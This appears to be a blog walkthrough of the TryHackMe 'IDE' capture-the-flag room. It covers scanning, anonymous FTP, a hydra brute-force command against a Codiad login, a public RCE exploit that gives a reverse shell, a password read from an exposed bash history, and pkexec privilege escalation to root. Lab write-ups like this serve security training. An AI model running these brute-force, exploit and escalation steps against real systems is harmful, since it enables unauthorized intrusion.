TryHackMe — IDE

[Room: https://tryhackme.com/room/ide]
[Level: Easy]

(Note to self: explore new tools)

As always, we begin with a rustscan on the target ip and all the ports.

rustscan

Let’s break down the command:
-a : ip address of victim
-r : range to ports to scan
— accessible : a nice way to not print the banner (Not required)

There are 4 open ports (21,22,80,62337). The next step is to check what services are running on those ports.

nmap service scan

Few interesting things:
— ftp(21) allows anonymous login
— http(62337) is running on non-standard port

We start with ftp to see if there are anything of note.
Both username and password are ‘anonymous’.

ftp

There is a file named ‘-’. We download that to check its content.
(Note: Rename the ‘-’ file to something else or you won’t be able to read it.)

ftp file

There seems to be two users: john and drac
john’s password seemed to have been reset.

Next we check the web server on port 62337 in browser(forgot to screenshot). There is a login page. If we use burpsuite to intercept the request, we can see than a POST request is being made to controller.php(/components/user/controller.php).

burpsuite

The service seems to be cordiad 2.8.4. There is an RCE exploit for this service, but a username and a password is required. john’s password was reset, but I did not find the default password for this service. So, I bruteforced it using hydra.

Syntax:

hydra -l john -P /usr/share/wordlists/rockyou.txt <VICTIM_IP> -s 62337 -V http-form-post ‘/components/user/controller.php?action=authenticate:username=^USER^&password=^PASS^:Incorrect Username or Password’ -f -t 20

hydra bruteforce

hydra brute force success

The blurred part contains the password for the user. There is a exploit available for this service here. (I renamed it to ‘exploit.py’)

Download the exploit and execute it as follows:

python3 exploit.py [URL] [USERNAME] [PASSWORD] [YOUR_IP] [PORT_TO_LISTEN_ON] [PLATFORM]

exploit initial

Then, it will tell you to run two commands. Open two different terminals and and run them.

terminal 1 command 1

terminal 2 command 2

Then, in the terminal where you executed the python script, type ‘y’.

exploit final

If it is succesful, a shell will appear in the third terminal you opened.

netcat shell capture

Then, I navigated to /home and found one user, ‘drac’. Inside their home directory, the permission on the ‘.bash_history’ file is not something you would normally see. Normally, only users themselves will have access to their ‘.bash_history’ file.

Get Vin’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

When we read it’s content, it spits out the password for the user ‘drac’.

drac user password

Before changing user to drac, we have to upgrade our shell. (here)

switch user to drac

Question 1: user.txt

user.txt

Our next step is to escalate our privilege. I found this privilege escalation vector.

The first step is to check if there is suid bit set in the binary ‘pkexec’.
We can use ‘find’ to do this. And there is.

find pkexec suid bit

Next, we have to check if the current user is in the sudo/admin group. We are.

id

I should now be able to use ‘pkexec’ to spawn a root shell, is what I thought.

privesc try

It failed, but there is a work aroun for this.

We need to open two ssh sessions. For that, we will first have to generate ssh keys.

ssh-keygen

Now, copy the contents of the ~/.ssh/id_rsa file and paste it to a file in your attacker machine. We will use this file to open the ssh sessions.

priv key

Let’s change the permission on the file. I copied the content into ‘privkey’ file.

privkey change permission

Now, we use that file to ssh into the victim machine as the user ‘drac’. We have to open two different sessions:

session 1

session 2

Now, we have to get the PID of our first ssh session:

session 1 step 1

Then, in the second session, we use ‘pkttyagent’ to start a textual authentication agent for the first ssh-session:

session 2 step 2

In the first session, we use pkexec to spawn a root shell.

session 1 step 3

In session 2, we will prompted for the user’s password.

session 2 step 4

After entering the password, there will be a root shell waiting for us in the first session.

session 1 final step

Question 2: root.txt

root.txt

Enjoy :)